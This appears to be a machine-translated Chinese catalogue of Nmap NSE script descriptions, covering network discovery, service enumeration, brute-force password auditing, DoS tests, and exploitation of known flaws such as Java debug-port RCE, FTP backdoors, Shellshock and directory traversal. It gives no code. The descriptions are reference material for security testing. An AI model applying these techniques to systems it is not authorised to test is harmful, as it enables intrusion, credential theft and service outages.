尝试利用 java 的远程调试端口。远程调试端口打开时,可以注入java字节码,实现远程代码执行。此脚本注入并执行返回远程系统信息的 Java 类文件。
通过向多播地址 224.0.23.12 发送 KNX 搜索请求(包括目标端口为 3671 的 UDP 有效负载)来发现 KNX 网关。KNX 网关将使用 KNX 搜索响应进行响应,其中包括有关网关的各种信息,例如 KNX 地址和支持的服务。
通过发送 KNX 描述请求来识别 UDP 端口 3671 上的 KNX 网关。
通用密码启用高级密码策略,包括密码中的扩展字符、从 eDirectory 到其他系统的密码同步,以及用于所有 eDirectory 访问的单一密码。
检索 LDAP 根 DSA 特定条目 (DSE)
尝试执行 LDAP 搜索并返回所有匹配项。
从 Lexmark S300-S400 打印机检索配置信息。
使用 LLMNR(链路本地多播名称解析)协议解析主机名。
使用 Microsoft LLTD 协议来发现本地网络上的主机。
从 CouchBase Web 管理端口检索信息(主机名、操作系统、正常运行时间等)。此脚本检索的信息不需要任何凭据。
从分布式内存对象缓存系统 memcached 中检索信息(包括系统架构、进程 ID 和服务器时间)。
枚举 SCADA Modbus 从站 ID (sids) 并收集其设备信息。
尝试从 MongoDB 数据库中获取表列表。
尝试从 MongoDB 数据库获取构建信息和服务器状态。
转储来自 MQTT 代理的消息流量。
查询组播路由信息的目标。
查询 Microsoft SQL Server (ms-sql) 实例以获取数据库、链接服务器和配置设置的列表。
查询给定(或所有)SQL Server 实例的 DAC(专用管理员连接)端口的 Microsoft SQL Browser 服务。DAC 端口用于在正常连接尝试失败时连接到数据库实例,例如,当服务器挂起、内存不足或其他不良状态时。此外,DAC 端口为管理员提供了对系统对象的访问权限,否则无法通过正常连接访问。
以适合 John-the-ripper 等工具破解的格式从 MS-SQL 服务器转储密码哈希。为此,用户需要具有适当的数据库权限。
查询 Microsoft SQL Server (ms-sql) 实例以获取用户有权访问的数据库列表。
尝试确定 Microsoft SQL Server 实例的配置和版本信息。
此脚本枚举来自启用 NTLM 身份验证的远程 Microsoft SQL 服务的信息。
针对 Microsoft SQL Server (ms-sql) 运行查询。
查询 Microsoft SQL Server (ms-sql) 以获取每个数据库的表列表。
查询 MSRPC 端点映射器以获取映射服务列表并显示收集的信息。
查询从源主机到目的主机的多播路径。
根据 CIS MySQL v1.0.2 基准测试的部分内容审核 MySQL 数据库服务器安全配置(该引擎可通过创建适当的审核文件用于其他 MySQL 审核)。
尝试列出 MySQL 服务器上的所有数据库。
从 MySQL 服务器转储密码哈希,格式适合被 John the Ripper 等工具破解。需要适当的数据库权限(root)。
连接到 MySQL 服务器并打印协议和版本号、线程 ID、状态、功能和密码 salt 等信息。
对 MySQL 数据库运行查询并将结果作为表返回。
尝试显示 MySQL 服务器上的所有变量。
使用 NAT 端口映射协议 (NAT-PMP) 获取路由器的 WAN IP。广泛的路由器支持 NAT-PMP 协议,包括:
- 苹果机场快线
- 苹果机场至尊
- 苹果时间胶囊
- DD-WRT
- OpenWrt v8.09 或更高版本,带有 MiniUPnP 守护程序
- pfSense v2.0
- Tarifa(固件)(Linksys WRT54G/GL/GS)
- 番茄固件 v1.24 或更高版本。(Linksys WRT54G/GL/GS 等等)
- Peplink 余额
使用 NAT 端口映射协议 (NAT-PMP) 将路由器上的 WAN 端口映射到客户端上的本地端口。它支持以下操作:
- map - 将路由器上的新外部端口映射到请求 IP 的内部端口
- unmap - 取消映射请求 IP 的先前映射端口
- unmapall - 取消映射请求 IP 的所有先前映射的端口
显示来自 NBD 服务器的协议和块设备信息。
通过 NetBIOS NS 检索目标网络接口的 IP 地址。额外的网络接口可能会显示有关目标的更多信息,包括通过多宿主系统找到隐藏的非路由网络的路径。
尝试检索目标的 NetBIOS 名称和 MAC 地址。
从 Novell NetWare 核心协议 (NCP) 服务检索 eDirectory 服务器信息(操作系统版本、服务器名称、安装等)。
通过使用网络数据管理协议 (ndmp) 查询远程设备来列出远程文件系统。NDMP 是一种旨在在 NAS 设备和备份设备之间传输数据的协议,无需数据通过备份服务器。已知以下产品支持该协议:
- 阿曼达
- 巴库拉
- CA Arcserve
- CommVault Simpana
- EMC 网络器
- 日立数据系统
- IBM 蒂沃利
- Quest Software Netvault 备份
- 赛门铁克网络备份
- 赛门铁克备份执行
打开与 NetBus 服务器的连接并提取有关主机和 NetBus 服务本身的信息。
尝试从 NFS 导出中获取有关文件的有用信息。输出旨在类似于ls
.
显示 NFS 导出,如showmount -e
命令。
从远程 NFS 共享中检索磁盘空间统计信息和信息。输出旨在类似于df
.
此脚本枚举来自启用了 NTLM 身份验证的远程 NNTP 服务的信息。
查询 Nagios Remote Plugin Executor (NRPE) 守护程序以获取负载平均值、进程计数、登录用户信息等信息。
从 NTP 服务器获取时间和配置变量。我们发送两个请求:一个时间请求和一个“读取变量”(操作码 2)控制消息。没有冗长,脚本会显示时间和 version
、processor
、system
、 refid
和stratum
变量的值。详细程度会显示所有变量。
获取并打印 NTP 服务器的监控数据。
尝试从 OpenVAS Manager 服务器检索目标系统和网络的列表。
此 NSE 脚本用于将 FINS 数据包发送到远程设备。该脚本将发送一个控制器数据读取命令,一旦收到响应,它会验证它是对已发送命令的正确响应,然后将解析出数据。
解析并显示 OpenLookup(网络键值存储)服务器的横幅信息。
OpenWebNet 是 Bticino 自 2000 年以来开发的一种通信协议。检索设备识别信息和连接设备的数量。
对目标主机执行简单的路径 MTU 发现。
此 NSE 脚本将查询 pcworx 协议并将其解析到远程 PLC。该脚本将发送一个初始请求数据包,一旦收到响应,它会验证它是对已发送命令的正确响应,然后将解析出数据。PCWorx 是 Phoenix Contact 的协议和程序。
检索 POP3 电子邮件服务器功能。
此脚本枚举来自启用 NTLM 身份验证的远程 POP3 服务的信息。
反复探测主机上打开和/或关闭的端口,以获得每个端口的一系列往返时间值。这些值用于对在统计上与其他组不同的端口集合进行分组。端口位于不同的组(或“家族”)可能是由于网络机制,例如端口转发到 NAT 后面的机器。
从 Quake 游戏服务器和其他使用相同协议的游戏服务器中提取信息。
从 Quake3 游戏服务器和其他使用相同协议的游戏中提取信息。
查询游戏服务器的 Quake3 风格的主服务器(除 Quake 3 之外的许多游戏都使用相同的协议)。
确定 RDP 服务支持哪个安全层和加密级别。它通过循环遍历所有现有协议和密码来实现。在调试模式下运行时,脚本还会返回失败的协议和密码以及报告的任何错误。
此脚本枚举来自启用了 CredSSP (NLA) 身份验证的远程 RDP 服务的信息。
从 Redis 键值存储中检索信息(例如版本号和架构)。
注意:此脚本已被--resolve-all
Nmap 7.70 中的命令行选项替换
从时间服务中检索日期和时间。
使用 HTTP 协议从 Basho Riak 分布式数据库中检索信息(例如节点名称和架构)。
连接到远程 RMI 注册表并尝试转储其所有对象。
连接到 rpcap 服务(通过 WinPcap 提供远程嗅探能力)并检索接口信息。该服务可以设置为是否需要身份验证,并且还支持 IP 限制。
连接到 portmapper 并获取所有注册程序的列表。然后它会打印出一个表格,其中包括(对于每个程序)RPC 程序号、支持的版本号、端口号和协议以及程序名称。
列出可用于 rsync(远程文件同步)同步的模块。
连接到 rusersd RPC 服务并检索登录用户列表。
枚举 Siemens S7 PLC 设备并收集其设备信息。该脚本基于 Positive Research 和 Scadastrangelove ( https://code.google.com/p/plcscan/ ) 开发的 PLCScan。该脚本旨在提供与 Nmap 内的 PLCScan 相同的功能。PLCScan 收集的一些信息没有被移植;该信息可以从接收到的数据包中解析出来。
尝试从 Sun 服务标签服务代理(UDP 端口 6481)提取系统信息(操作系统、硬件等)。
查询给定目标的 Shodan API 并产生与 -sV nmap 扫描类似的输出。ShodanAPI 密钥可以使用 'apikey' 脚本参数设置,或者在 .nse 文件本身中硬编码。您可以从https://developer.shodan.io获得免费密钥
欺骗对 SIP 电话的呼叫并检测目标采取的操作(忙、拒绝、挂断等)
枚举 SIP 服务器允许的方法(INVITE、OPTIONS、SUBSCRIBE 等)
尝试枚举系统上的域及其策略。这通常需要凭据,Windows 2000 除外。除了实际域外,通常还会显示“内置”域。Windows 在域列表中返回它,但它的策略似乎没有在任何地方使用。
从远程 Windows 系统获取组列表,以及组的用户列表。enum.exe
这与/G
开关类似。
通过 SMB 从远程服务器拉取进程列表。这将确定所有正在运行的进程、它们的进程 ID 和它们的父进程。它是通过查询远程注册表服务来完成的,在 Vista 上默认禁用该服务;在所有其他 Windows 版本上,它需要管理员权限。
检索在远程 Windows 系统上运行的服务列表。每个服务属性包含每个服务的服务名称、显示名称和服务状态。
枚举本地或通过 SMB 共享登录到系统的用户。本地用户可以在机器上物理登录,也可以通过终端服务会话登录。例如,与 SMB 共享的连接是连接到文件共享或进行 RPC 调用的人。Nmap 的连接也会显示出来,一般由“0 秒前”连接的那个来识别。
尝试使用srvsvc.NetShareEnumAll
MSRPC 函数列出共享并使用srvsvc.NetShareGetInfo
. 如果拒绝访问这些功能,则会检查常用共享名称列表。
尝试检索有关在 SMB 卷上共享的文件的有用信息。该输出旨在类似于 UNIXls
命令的输出。
查询由 Windows 主浏览器管理的信息。
尝试通过 SMB 协议(端口 445 或 139)确定操作系统、计算机名称、域、工作组和当前时间。这是通过使用匿名帐户(或使用适当的用户帐户,如果有的话)开始会话来完成的;它可能没有任何区别;作为对会话开始的响应,服务器将发回所有这些信息。
尝试列出 SMB 服务器支持的协议和方言。
返回有关 SMB 确定的 SMB 安全级别的信息。
尝试通过使用 TCP 端口 445 或 139 的 SMB 和 MSRPC 获取服务器的统计信息。
从注册表中拉回有关远程系统的信息。获取所有信息需要一个管理帐户,尽管用户帐户仍然可以获得很多信息。客人可能不会得到任何,也不会匿名。这适用于所有操作系统,包括 Windows 2000。
尝试为每个启用的方言列出 SMBv2 服务器中支持的功能。
确定 SMBv2 服务器中所有受支持方言的消息签名配置。
尝试获取 SMB2 服务器的当前系统日期和开始日期。
尝试使用 EHLO 和 HELP 来收集 SMTP 服务器支持的扩展命令。
此脚本枚举来自启用了 NTLM 身份验证的远程 SMTP 服务的信息。
尝试通过发出预定义的 SMTP 命令组合来中继邮件。此脚本的目的是判断 SMTP 服务器是否容易受到邮件中继的攻击。
检查本地以太网上的目标是否有其网卡处于混杂模式。
尝试通过 hh3c-user.mib OID 枚举 Huawei/HP/H3C Locally Defined Users
尝试通过 SNMP 枚举网络接口。
尝试查询 SNMP 以获取类似 netstat 的输出。通过提供 newtargets 脚本参数,该脚本可用于识别新目标并将其自动添加到扫描中。
尝试通过 SNMP 枚举正在运行的进程。
尝试从 SNMP 服务中提取系统信息。
尝试通过 SNMP 枚举 Windows 服务。
尝试通过 SNMP 枚举 Windows 共享。
尝试通过 SNMP 枚举已安装的软件。
确定远程 SOCKS 代理服务器支持的身份验证机制。从 SOCKS 版本 5 开始,袜子服务器可能支持身份验证。该脚本检查以下身份验证类型: 0 - 无身份验证 1 - GSSAPI 2 - 用户名和密码
检查目标上是否正在运行一个开放的 socks 代理。
显示 SSH 主机密钥。
报告目标 SSH2 服务器提供的算法数量(用于加密、压缩等)。如果设置了详细程度,则提供的算法均按类型列出。
检索服务器的 SSL 证书。打印的有关证书的信息量取决于详细程度。脚本没有额外的冗长,打印有效期和主题的 commonName、organizationName、stateOrProvinceName 和 countryName。
报告在 SSL 服务证书的各个字段中找到的任何私有 (RFC1918) IPv4 地址。仅当目标地址本身不是私有的时才会报告这些。需要 Nmap v7.30 或更高版本。
从其 TLS ServerHello 响应中检索目标主机的时间和日期。
此脚本重复启动 SSLv3/TLS 连接,每次尝试新的密码或压缩器,同时记录主机是否接受或拒绝它。最终结果是服务器接受的所有密码套件和压缩器的列表。
检查主机使用的 SSL 证书是否具有与包含的问题密钥数据库匹配的指纹。
检查是否支持安全套接字隧道协议。这是通过尝试建立用于承载 SSTP 流量的 HTTPS 层来实现的,如下所述: - http://msdn.microsoft.com/en-us/library/cc247364.aspx
使用 STUN 协议检索 NAT:ed 主机的外部 IP 地址。
检测主机是否感染了 Stuxnet 蠕虫 ( http://en.wikipedia.org/wiki/Stuxnet )。
为给定的路由 AS 编号 (ASN) 生成 IP 前缀列表。
此脚本在预扫描阶段运行,以将 IPv4 地址映射到 IPv6 网络并将它们添加到扫描队列中。
向所有节点链路本地多播地址 ( ) 发送 ICMPv6 回显请求数据包,ff02::1
以发现 LAN 上的响应主机,而无需单独 ping 每个 IPv6 地址。
向所有节点链路本地多播地址 ( ) 发送带有无效扩展头的 ICMPv6 数据包,ff02::1
以发现 LAN 上的(某些)可用主机。这是可行的,因为一些主机将使用 ICMPv6 参数问题数据包响应此探测。
尝试通过向链路本地多播地址 (ff02::1) 发送 MLD(多播侦听器发现)查询并侦听任何响应来发现 LAN 上可用的 IPv6 主机。查询的最大响应延迟设置为 1,以促使主机立即响应,而不是等待来自其多播组的其他响应。
通过触发无状态地址自动配置 (SLAAC) 来执行 IPv6 主机发现。
使用在给定子网中形成地址的十六进制“单词”单词列表将 IPv6 地址添加到扫描队列。
在可配置的时间内(默认为 10 秒)嗅探本地网络并打印发现的地址。如果 newtargets
设置了脚本参数,则将发现的地址添加到扫描队列中。
将 traceroute 跃点插入 Nmap 扫描队列。它仅在使用 Nmap 的--traceroute
选项并newtargets
给出脚本参数时才起作用。
确定远程 telnet 服务器是否支持加密选项。某些系统(包括 FreeBSD 和许多 Linux 发行版中可用的 krb5 telnetd)错误地实现了此选项,从而导致远程根漏洞。此脚本目前仅测试是否支持加密,而不是针对特定漏洞。
此脚本枚举来自启用 NTLM 身份验证的远程 Microsoft Telnet 服务的信息。
通过测试常见文件名列表来枚举 TFTP(普通文件传输协议)文件名。
使用 ALPN 协议枚举 TLS 服务器支持的应用层协议。
使用下一个协议协商扩展枚举 TLS 服务器支持的协议。
连接到 tn3270“服务器”并返回屏幕。
列出跟踪路由中每个跃点的地理位置,并可选择将结果保存到 KML 文件,可在 Google 地球和地图上绘制。
从 Ubiquiti 网络设备中提取信息。
尝试从 UPnP 服务中提取系统信息。
检测 Ventrilo 语音通信服务器服务版本 2.1.2 及以上版本,并尝试确定版本和配置信息。某些较旧的版本(3.0.0 之前)可能没有默认启用此探测依赖的 UDP 服务。
从 Versant 对象数据库中提取信息,包括文件路径、版本和数据库名称。
查询 VMware 服务器(vCenter、ESX、ESXi)SOAP API 以提取版本信息。
查询 VNC 服务器的协议版本和支持的安全类型。
尝试登录 VNC 服务器并获取其桌面名称。使用 vnc-brute 发现的凭据,或无身份验证类型。如果 realvnc-auth-bypass
运行并返回 VULNERABLE,此脚本将使用该漏洞绕过身份验证。
使用 Voldemort 本机协议从 Voldemort 分布式键值存储中检索集群和存储信息。
检索一些基本信息,包括来自 Vuze 文件共享节点的协议版本。
检测漏洞并从 VxWorks Wind DeBug 代理收集信息(例如版本号和硬件支持)。
检测 T3 RMI 协议和 Weblogic 版本
尝试检索有关目标域名的信息
查询区域互联网注册机构 (RIR) 的 WHOIS 服务,并尝试检索有关包含目标 IP 地址的 IP 地址分配的信息。
从支持 Web 服务动态发现 (WS-Discovery) 协议的设备中检索和显示信息。它还尝试查找任何已发布的 Windows Communication Framework (WCF) Web 服务(.NET 4.0 或更高版本)。
请求 XDMCP(X 显示管理器控制协议)会话并列出支持的身份验证和授权机制。
通过 system.listMethods 方法执行 XMLRPC Introspection。
连接到 XMPP 服务器(端口 5222)并收集服务器信息,例如:支持的身份验证机制、压缩方法、是否支持和强制 TLS、流管理、语言、带内注册的支持、服务器功能。如果可能,研究服务器供应商。
尝试使用 DNS 服务发现协议发现本地网络中的主机并向每个主机发送一个 NULL UDP 数据包,以测试它是否容易受到 Avahi NULL UDP 数据包拒绝服务 (CVE-2011-1002) 的攻击。
通过启动 Slowloris 攻击来测试 Web 服务器是否存在 Slowloris DoS 攻击的漏洞。
使用随机源 MAC 地址和 IPv6 前缀生成大量路由器广告 (RA)。默认启用无状态自动配置的计算机(每个主要操作系统)将开始计算 IPv6 后缀并更新其路由表以反映接受的公告。这将导致 Windows 和平台上 100% 的 CPU 使用率,阻止处理其他应用程序请求。
通过打开尽可能多的连接来耗尽远程 SMB 服务器的连接限制。大多数 SMB 实现对用户帐户有 11 个连接和匿名连接 10 个的硬性全局限制。一旦达到该限制,将拒绝进一步的连接。该脚本通过占用所有连接并保持它们来利用该限制。
检测受Conficker 蠕虫感染的Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
检测易受拒绝服务攻击的 Microsoft Windows 系统 (CVE-2009-3103)。如果该脚本易受攻击,该脚本将使该服务崩溃。
检测带有易受 MS06-025 攻击的 Ras RPC 服务的 Microsoft Windows 系统。
检测带有易受 MS07-029 攻击的 Dns Server RPC 的 Microsoft Windows 系统。
检测易受称为 MS08-067 的远程代码执行漏洞的 Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
测试目标机器是否容易受到 ms10-054 SMB 远程内存损坏漏洞的攻击。
检查 Microsoft Windows 2000 系统是否容易受到由空指针取消引用导致的 regsvc 崩溃的影响。如果服务易受攻击并且需要访客帐户或更高版本才能工作,此检查将使服务崩溃。
检测到 Mac OS X AFP 目录遍历漏洞 CVE-2010-0533。
利用易受未经身份验证的 clamav 命令执行的 ClamAV 服务器。
检测并利用分布式编译器守护进程 distcc 中的远程代码执行漏洞。该漏洞于 2002 年被披露,但由于服务配置不佳,仍然存在于现代实施中。
测试报告为 BID 45150 的 ProFTPD 1.3.3c 后门是否存在。 id
默认情况下,此脚本尝试使用无害命令来利用后门,但可以使用 ftp-proftpd-backdoor.cmd
脚本参数进行更改。
对 2011 年 7 月 4 日报告的 vsFTPd 2.3.4 后门存在的测试 (CVE-2011-2523)。默认情况下,此脚本尝试使用 innocuousid
命令利用后门,但可以使用exploit.cmd
orftp-vsftpd-backdoor.cmd
脚本参数进行更改。
http-adobe-coldfusion-apsa1301
尝试利用 Adobe Coldfusion 服务器中的身份验证绕过漏洞来检索有效的管理员会话 cookie。
尝试在 Avaya IP Office 系统 7.x 中枚举用户。
利用 Awstats Totals 1.0 至 1.14 以及可能基于它的其他产品中的远程代码执行漏洞 (CVE: 2008-3922)。
xsd
通过向参数(BID 40343) 发送特制请求来利用 Apache Axis2 版本 1.4.1 中的目录遍历漏洞。默认情况下,它将尝试使用返回管理员帐户的用户名和密码的'/conf/axis2.xml'
路径 来检索 Axis2 服务的配置文件。'/axis2/services/'
尝试使用 http://seclists.org/fulldisclosure/2010/Oct/119中描述的目录遍历漏洞从梭子鱼网络垃圾邮件和病毒防火墙设备检索配置设置。
尝试从 ColdFusion 9 和 10 的易受攻击的安装中检索版本、管理面板的绝对路径和文件“password.properties”。
此脚本检测跨站点请求伪造 (CSRF) 漏洞。
通过将用户代理更改为“秘密”值来检测某些 D-Link 路由器上的固件后门。使用“秘密”用户代理绕过身份验证并允许管理员访问路由器。
它查找 DOM 中攻击者控制的信息可能被用于以某些方式影响 JavaScript 执行的地方。攻击在这里解释: http ://www.webappsec.org/projects/articles/071105.shtml
使用各种技术(例如更改 Content-type 标头或创建包含评论中有效负载的有效图像文件)在 Web 应用程序中利用不安全的文件上传表单。
检测易受远程凭证和信息泄露漏洞影响的华为调制解调器型号 HG530x、HG520x、HG510x(可能还有其他...)。它还提取 PPPoE 凭据和其他有趣的配置值。
利用 4.0.15 之前的 Litespeed Web Servers 4.0.x 中的空字节中毒漏洞,通过发送带有空字节后跟 .txt 文件扩展名的 HTTP 请求来检索目标脚本的源代码 (CVE-2010-2333)。
利用 Majordomo2 中存在的目录遍历漏洞来检索远程文件。(CVE-2011-0049)。
利用 phpMyAdmin 2.6.4-pl1(可能还有其他版本)中的目录遍历漏洞来检索 Web 服务器上的远程文件。
尝试利用 Web 应用程序中的“shellshock”漏洞(CVE-2014-6271 和 CVE-2014-7169)。
未过滤的“>”(大于符号)。潜在 XSS 漏洞的指示。
利用多个 TP-Link 无线路由器中存在的目录遍历漏洞。攻击者可以利用此漏洞远程读取任何配置和密码文件而无需身份验证。
利用 Webmin 中的文件泄露漏洞 (CVE-2006-3392)
利用 cve-2009-3960 也称为 Adobe XML 外部实体注入。
检测易受 CVE-2012-1823 攻击的 PHP-CGI 安装,此严重漏洞允许攻击者检索源代码并远程执行代码。
检测易受对象注入、远程命令执行和拒绝服务攻击的 Ruby on Rails 服务器。(CVE-2013-0156)
检测 Allegro RomPager Web 服务器中的 URL 重定向和反射 XSS 漏洞。该漏洞已被分配 CVE-2013-6786。
rubina119 于 2013 年 12 月 6 日发布了一个 0 day,并在 Zimbra 7.2.6 中进行了修补。
利用在 Drupal 中也称为“Drupageddon”的 CVE-2014-3704。已知小于 7.32 的 Drupal 核心版本会受到影响。
利用 Wordpress CM 下载管理器插件中的远程代码注入漏洞 (CVE-2014-8877)。已知版本 <= 2.0.0 会受到影响。
检测采用英特尔主动管理技术的系统是否容易受到 INTEL-SA-00075 权限提升漏洞 (CVE2017-5689) 的攻击。
在 WNR 1000 系列中发现了一个漏洞,允许攻击者使用路由器接口检索管理员凭据。在固件版本上测试:V1.0.2.60_60.0.86(最新)和 V1.0.2.54_60.0.82NA
通过运行基于时间的命令 (ping) 并检查响应所需的时间来检查 IRC 服务器是否被后门。
尝试利用 java 的远程调试端口。远程调试端口打开时,可以注入java字节码,实现远程代码执行。该脚本滥用它来注入和执行一个 Java 类文件,该文件执行提供的 shell 命令并返回其输出。
尝试利用 java 的远程调试端口。远程调试端口打开时,可以注入java字节码,实现远程代码执行。该脚本允许注入任意类文件。
尝试识别正在侦听的 QNX QCONN 守护程序是否允许未经身份验证的用户执行任意操作系统命令。
检测受Conficker 蠕虫感染的Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
检测易受拒绝服务攻击的 Microsoft Windows 系统 (CVE-2009-3103)。如果该脚本易受攻击,该脚本将使该服务崩溃。
检测带有易受 MS06-025 攻击的 Ras RPC 服务的 Microsoft Windows 系统。
检测带有易受 MS07-029 攻击的 Dns Server RPC 的 Microsoft Windows 系统。
检测易受称为 MS08-067 的远程代码执行漏洞的 Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
检查 Microsoft Windows 2000 系统是否容易受到由空指针取消引用导致的 regsvc 崩溃的影响。如果服务易受攻击并且需要访客帐户或更高版本才能工作,此检查将使服务崩溃。
尝试使用 WebExec 漏洞通过 WebExService 运行命令。给定一个 Windows 帐户(本地或域),这将启动一个具有 SMB 协议的 SYSTEM 权限的任意可执行文件。
检查和/或利用 Exim 4.69 之前的版本 (CVE-2010-4344) 中的堆溢出以及 Exim 4.72 和之前的版本 (CVE-2010-4345) 中的权限提升漏洞。
尝试在易受攻击的 Supermicro Onboard IPMI 控制器中下载包含纯文本用户凭据的未受保护配置文件。
将 IP 地址映射到自治系统 (AS) 编号。
根据多个 DNS 反垃圾邮件和开放代理黑名单检查目标 IP 地址,并返回已标记 IP 的服务列表。检查可能受限于服务类别(例如:SPAM、PROXY)或特定服务名称。
根据最佳实践检查 DNS 区域配置,包括 RFC 1912。配置检查分为多个类别,每个类别都有许多不同的测试。
检查 DNS 服务器是否存在可预测端口递归漏洞。可预测的源端口会使 DNS 服务器容易受到缓存中毒攻击(请参阅 CVE-2008-1447)。
检查 DNS 服务器是否存在可预测的 TXID DNS 递归漏洞。可预测的 TXID 值会使 DNS 服务器容易受到缓存中毒攻击(请参阅 CVE-2008-1447)。
通过查询 ZTDNS@abuse.ch 检查目标 IP 范围是否是 Zeus 僵尸网络的一部分。在开始扫描之前,请查看以下信息:
通过查询http://www.bfk.de/bfk_dnslogger.html上的在线数据库,发现解析为目标 IP 地址的主机名。
通过查询 Google 的证书透明度日志数据库 ( https://crt.sh ) 来查找 Web 服务器的子域。
通过查询http://ip.robtex.com/上的在线 Robtex 服务,发现解析为目标 IP 地址的主机名。
检查 Web 应用程序中的跨域策略文件 (/crossdomain.xml) 和客户端访问策略文件 (/clientaccesspolicy.xml) 并列出受信任的域。过于宽松的设置会启用跨站点请求伪造攻击,并可能允许攻击者访问敏感数据。此脚本可用于检测许可配置和可用于购买以利用该应用程序的可能域名。
检查主机是否在 Google 的可疑恶意软件和网络钓鱼服务器黑名单中。这些列表会不断更新,并且是 Google 安全浏览服务的一部分。
通过查询 MobileMe Web 服务检索所有启用“查找我的 iPhone”的 iOS 设备的位置(需要身份验证)。
通过 Apple MobileMe Web 服务向 iOS 设备发送消息。该设备必须使用 Find My Iphone 应用程序注册一个 Apple ID。
检查 HTTP 代理是否打开。
对 HTTP 代理服务器执行暴力密码猜测。
通过查询 Robtex 服务 ( https://www.robtex.com/ip-lookup/ ) 为目标 IP 地址获取最多 100 个转发 DNS 名称。
通过查询http://www.robtex.com/dns/ 上的 Robtex 服务,最多可找到 100 个使用相同名称服务器作为目标的域名。
检查文件是否已被 Virustotal 确定为恶意软件。Virustotal 是一项服务,它提供了扫描文件或针对许多主要防病毒供应商检查校验和的功能。该脚本使用公共 API,该 API 需要有效的 API 密钥,并且每分钟限制为 4 次查询。可以通过在virustotal网页上注册为用户来获取密钥:
此脚本搜索 xssed.com 数据库并输出结果。
尝试使用 Geoplugin 地理定位 Web 服务 ( http://www.geoplugin.com/ ) 识别 IP 地址的物理位置。使用此服务的查找没有限制。
尝试使用 IPInfoDB 地理定位 Web 服务 ( http://ipinfodb.com/ip_location_api.php ) 识别 IP 地址的物理位置。
此脚本在 Nmap 注册表中查询先前地理定位脚本存储的目标的 GPS 坐标,并呈现表示目标的标记的 Bing 地图。
此脚本在 Nmap 注册表中查询以前地理定位脚本存储的目标的 GPS 坐标,并呈现代表目标的标记的 Google 地图。
尝试使用 Geolocation Maxmind 数据库文件(可从 http://www.maxmind.com/app/ip-location获得)识别 IP 地址的物理位置。该脚本支持使用其 API 支持的所有 Maxmind 数据库进行查询,包括商业数据库。
查询给定目标的 Shodan API 并产生与 -sV nmap 扫描类似的输出。ShodanAPI 密钥可以使用 'apikey' 脚本参数设置,或者在 .nse 文件本身中硬编码。您可以从https://developer.shodan.io获得免费密钥
尝试通过发出 VRFY、EXPN 或 RCPT TO 命令枚举 SMTP 服务器上的用户。此脚本的目标是发现远程系统中的所有用户帐户。
尝试通过发出预定义的 SMTP 命令组合来中继邮件。此脚本的目的是判断 SMTP 服务器是否容易受到邮件中继的攻击。
检查目标上是否正在运行一个开放的 socks 代理。
为给定的路由 AS 编号 (ASN) 生成 IP 前缀列表。
检查目标是否是已知的 Tor 节点。
列出跟踪路由中每个跃点的地理位置,并可选择将结果保存到 KML 文件,可在 Google 地球和地图上绘制。
对于每个可用的 CPE,脚本会打印出已知的漏洞(指向通讯员信息的链接)和通讯员 CVSS 分数。
尝试检索有关目标域名的信息
查询区域互联网注册机构 (RIR) 的 WHOIS 服务,并尝试检索有关包含目标 IP 地址的 IP 地址分配的信息。
对 DNS 服务器发起 DNS fuzzing 攻击。
对网站上找到的表单执行简单的表单模糊测试。尝试增加长度的字符串和数字,并尝试确定模糊测试是否成功。
爬取 Web 服务器并尝试通过 变量 查找易受反射跨站点脚本攻击的 PHP 文件$_SERVER["PHP_SELF"]
。
针对 Apple 归档协议 (AFP) 执行密码猜测。
检测到 Mac OS X AFP 目录遍历漏洞 CVE-2010-0533。
针对 Apache JServ 协议执行暴力密码审计。Web 服务器通常使用 Apache JServ 协议与后端 Java 应用程序服务器容器进行通信。
针对 BackOrifice 服务执行暴力密码审计。script 参数是强制性的 backorifice-brute.ports
(它指定了运行脚本的端口)。
尝试使用 DNS 服务发现协议发现本地网络中的主机并向每个主机发送一个 NULL UDP 数据包,以测试它是否容易受到 Avahi NULL UDP 数据包拒绝服务 (CVE-2011-1002) 的攻击。
对 Cassandra 数据库执行暴力密码审计。
IBM 大型机的 CICS 事务 ID 枚举器。该脚本基于 Dominic White ( https://github.com/sensepost/mainframe_brute ) 的 mainframe_brute。但是,此脚本不依赖任何第三方库或工具,而是使用在 lua 中模拟 TN3270 屏幕的 NSE TN3270 库。
CESL 登录屏幕的 CICS 用户 ID 暴力破解脚本。
CESL/CESN 登录屏幕的 CICS 用户 ID 枚举脚本。
尝试猜测 Citrix PN Web 代理 XML 服务的有效凭据。XML 服务针对本地 Windows 服务器或 Active Directory 进行身份验证。
针对 CVS pserver 身份验证执行暴力密码审计。
尝试猜测托管在远程服务器上的 CVS 存储库的名称。知道正确的存储库名称后,就可以猜出用户名和密码。
对 DelugeRPC 守护程序执行暴力密码审计。
检测并利用分布式编译器守护进程 distcc 中的远程代码执行漏洞。该漏洞于 2002 年被披露,但由于服务配置不佳,仍然存在于现代实施中。
尝试通过暴力猜测常见子域来枚举 DNS 主机名。使用该dns-brute.srv
参数,dns-brute 还将尝试枚举常见的 DNS SRV 记录。
针对 DNS 服务器执行 DNS 缓存侦听。
对 DNS 服务器发起 DNS fuzzing 攻击。
使用分析 DNS 服务器响应代码的技术对 IPv6 网络执行快速反向 DNS 查找,以显着减少枚举大型网络所需的查询数量。
使用 DNSSEC NSEC-walking 技术枚举 DNS 名称。
尝试从支持 DNSSEC NSEC3 记录的 DNS 服务器枚举域名。
检查 DNS 服务器是否存在可预测端口递归漏洞。可预测的源端口会使 DNS 服务器容易受到缓存中毒攻击(请参阅 CVE-2008-1447)。
检查 DNS 服务器是否存在可预测的 TXID DNS 递归漏洞。可预测的 TXID 值会使 DNS 服务器容易受到缓存中毒攻击(请参阅 CVE-2008-1447)。
尝试在没有身份验证的情况下执行动态 DNS 更新。
从 DNS 服务器请求区域传输 (AXFR)。
针对 Lotus Domino 控制台执行暴力密码审计。
使用给定的身份验证凭据在 Lotus Domino 控制台上运行控制台命令(另请参见:domcon-brute)
尝试利用 CVE-2006-5835 漏洞发现有效的 IBM Lotus Domino 用户并下载他们的 ID 文件。
对 iPhoto 库执行暴力密码审核。
对支持 IBM DB2 协议的数据库(如 Informix、DB2 和 Derby)执行密码猜测
检测 netfilter 和其他防火墙中的漏洞,这些防火墙使用帮助程序为 ftp 和 sip 等协议动态打开端口。
对 FTP 服务器执行暴力密码审计。
